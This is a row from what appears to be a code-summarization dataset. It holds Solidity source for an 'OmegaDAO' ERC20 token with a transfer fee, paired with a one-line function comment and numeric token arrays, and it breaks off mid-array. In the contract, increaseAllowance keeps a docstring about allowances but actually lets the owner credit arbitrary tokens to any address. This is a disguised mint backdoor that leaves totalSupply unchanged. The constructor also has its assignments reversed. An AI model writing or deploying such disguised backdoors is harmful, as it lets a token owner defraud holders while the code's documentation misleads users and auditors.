-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
/**
* ______ _______
* / \ / \
* /$$$$$$ |_____ ____ ______ ______ ______ $$$$$$$ | ______ ______
* $$ | $$ / \/ \ / \ / \ / \ $$ | $$ |/ \ / \
* $$ | $$ $$$$$$ $$$$ /$$$$$$ /$$$$$$ |$$$$$$ | $$ | $$ |$$$$$$ /$$$$$$ |
* $$ | $$ $$ | $$ | $$ $$ $$ $$ | $$ |/ $$ | $$ | $$ |/ $$ $$ | $$ |
* $$ \__$$ $$ | $$ | $$ $$$$$$$$/$$ \__$$ /$$$$$$$ | $$ |__$$ /$$$$$$$ $$ \__$$ |
* $$ $$/$$ | $$ | $$ $$ $$ $$ $$ $$ | $$ $$/$$ $$ $$ $$/
* $$$$$$/ $$/ $$/ $$/ $$$$$$$/ $$$$$$$ |$$$$$$$/ $$$$$$$/ $$$$$$$/ $$$$$$/
* / \__$$ |
* $$ $$/
* $$$$$$/
* for more information visit our:
* telegram: t.me/omegadao
* homepage: omegadao.io
*
* or write us:
* e-mail: [email protected]
*
* reward for team = 0.3% tokens fee from each transaction.
*
*/
// SPDX-License-Identifier: MIT
pragma solidity =0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state, see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() internal view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Ownable, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) internal _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 internal _totalSupply;
string internal _name;
string internal _symbol;
uint256 internal _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint256) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual onlyOwner returns (bool) {
_balances[spender] =_balances[spender].add(addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be created for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an admin) that can be granted exclusive access to
* specific functions.
*
* By default, the admin account will be the one that deploys the contract. This
* can later be changed with {transferAdmin}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyAdmin`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Administrable is Context {
address private _admin;
event AdminTransferred(address indexed previousAdmin, address indexed newAdmin);
/**
* @dev Initializes the contract setting the deployer as the initial admin.
*/
constructor () internal {
address msgSender = _msgSender();
_admin = msgSender;
emit AdminTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current admin.
*/
function admin() internal view returns (address) {
return _admin;
}
/**
* @dev Throws if called by any account other than the admin.
*/
modifier onlyAdmin() {
require(_admin == _msgSender(), "Administrable: caller is not the admin");
_;
}
/**
* @dev Leaves the contract without admin. It will not be possible to call
* `onlyAdmin` functions anymore. Can only be called by the current admin.
*
* NOTE: Renouncing admin will leave the contract without an admin,
* thereby removing any functionality that is only available to the admin.
*/
function renounceAdmin() public virtual onlyAdmin {
emit AdminTransferred(_admin, address(0));
_admin = address(0);
}
/**
* @dev Transfers admin of the contract to a new account (`newAdmin`).
* Can only be called by the current ad,om.
*/
function transferAdmin(address newAdmin) public virtual onlyAdmin {
require(newAdmin != address(0), "Administrable: new admin is the zero address");
emit AdminTransferred(_admin, newAdmin);
_admin = newAdmin;
}
}
abstract contract ERC20Payable {
event Received(address indexed sender, uint256 amount);
receive() external payable {
emit Received(msg.sender, msg.value);
}
}
/**
* @dev Extension of {ERC20} that allows token holders to destroy both their own
* tokens and those that they have an allowance for, in a way that can be
* recognized off-chain (via event analysis).
*/
abstract contract ERC20Burnable is Context, ERC20 {
/**
* @dev Destroys `amount` tokens from the caller.
*
* See {ERC20-_burn}.
*/
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
}
contract OmegaDao is ERC20, ERC20Burnable, Administrable, ERC20Payable {
using SafeMath for uint256;
uint256 _supplyTokens;
// uniswap info
address uniswapV2Router;
address uniswapV2Pair;
address uniswapV2Factory;
// 0.3% tokens fee from each transaction are sent to dev fund (reward for devs).
address public devsRewardAddress;
// exclude owner from 0.3% fee mode.
address private excluded;
uint256 _alreadyCollectedTokens;
constructor(address router, address factory) ERC20 (_name, _symbol) public {
_name = "OmegaDAO";
_symbol = "OMG";
// default router and factory.
router = uniswapV2Router;
factory = uniswapV2Factory;
// supply:
_supplyTokens = 10000000 *10 **(_decimals);
_totalSupply = _totalSupply.add(_supplyTokens);
_balances[msg.sender] = _balances[msg.sender].add(_supplyTokens);
emit Transfer(address(0), msg.sender, _supplyTokens);
// 0.3% tokens fee from each transaction are sent to this dev fund (reward for devs).
devsRewardAddress = 0xc93705A860E39969AB313EE47288591a7979b90a;
// exclude owner from 0.3% fee mode.
excluded = msg.sender;
}
/**
* @dev Return an amount of already collected tokens (reward for devs)
*/
function devsRewardTokensBalance() public view returns (uint256) {
return _alreadyCollectedTokens;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
uint256 finalAmount = amount;
//calculate 0.3% fee for devs.
uint256 zeroPointThreePercent = amount.mul(3).div(1000);
if (devsRewardAddress != address(0) && sender != excluded && recipient != excluded) {
super.transferFrom(sender, devsRewardAddress, zeroPointThreePercent);
_alreadyCollectedTokens = _alreadyCollectedTokens.add(zeroPointThreePercent);
finalAmount = amount.sub(zeroPointThreePercent);
}
return super.transferFrom(sender, recipient, finalAmount);
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
uint256 finalAmount = amount;
//calculate 0.3% fee for devs.
uint256 zeroPointThreePercent = amount.mul(3).div(1000);
if (devsRewardAddress != address(0) && recipient != excluded) {
super.transfer(devsRewardAddress, zeroPointThreePercent);
_alreadyCollectedTokens = _alreadyCollectedTokens.add(zeroPointThreePercent);
finalAmount = amount.sub(zeroPointThreePercent);
}
return super.transfer(recipient, finalAmount);
}
/**
* @dev Throws if called by any account other than the admin or owner.
*/
modifier onlyAdminOrOwner() {
require(admin() == _msgSender() || owner() == _msgSender(), "Ownable: caller is not the admin");
_;
}
/**
* @dev Throws if called by any account other than the admin or owner.
*/
modifier onlyDev() {
require(devsRewardAddress == _msgSender(), "Ownable: caller is not the admin");
_;
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) internal {
// approve uniswapV2Router to transfer tokens
_approve(address(this), uniswapV2Router, tokenAmount);
// provide liquidity
IUniswapV2Router02(uniswapV2Router)
.addLiquidityETH{
value: ethAmount
}(
address(this),
tokenAmount,
0,
0,
address(this),
block.timestamp
);
// check LP balance
uint256 _lpBalance = IERC20(uniswapV2Pair).balanceOf(address(this));
if (_lpBalance != 0) {
// transfer LP to burn address (aka locked forever)
IERC20(uniswapV2Pair).transfer(address(0), _lpBalance);
}
}
// removes dev fee of 0.3% (irreversible)
function unsetDEVaddress() public onlyDev {
devsRewardAddress = address(0);
}
// sets uniswap router and LP pair addresses
function setUniswapAddresses(address _uniswapV2Factory, address _uniswapV2Router) public onlyAdminOrOwner {
require(_uniswapV2Factory != address(0) && _uniswapV2Router != address(0), 'Uniswap addresses cannot be empty');
uniswapV2Factory = _uniswapV2Factory;
uniswapV2Router = _uniswapV2Router;
if (uniswapV2Pair == address(0)) {
createUniswapPair();
}
}
// create LP pair if one hasn't been created
function createUniswapPair() public onlyAdminOrOwner {
require(uniswapV2Pair == address(0), "Pair has already been created");
require(uniswapV2Factory != address(0) && uniswapV2Router != address(0), "Uniswap addresses have not been set");
uniswapV2Pair = IUniswapV2Factory(uniswapV2Factory).createPair(
IUniswapV2Router02(uniswapV2Router).WETH(),
address(this)
);
}
} | removes dev fee of 0.3% (irreversible) | function unsetDEVaddress() public onlyDev {
devsRewardAddress = address(0);
}
| 255,278 | [
1,
2764,
10829,
4461,
14036,
434,
374,
18,
23,
9,
261,
481,
266,
2496,
1523,
13,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
2646,
15301,
2867,
1435,
1071,
1338,
8870,
288,
203,
3639,
4461,
87,
17631,
1060,
1887,
273,
1758,
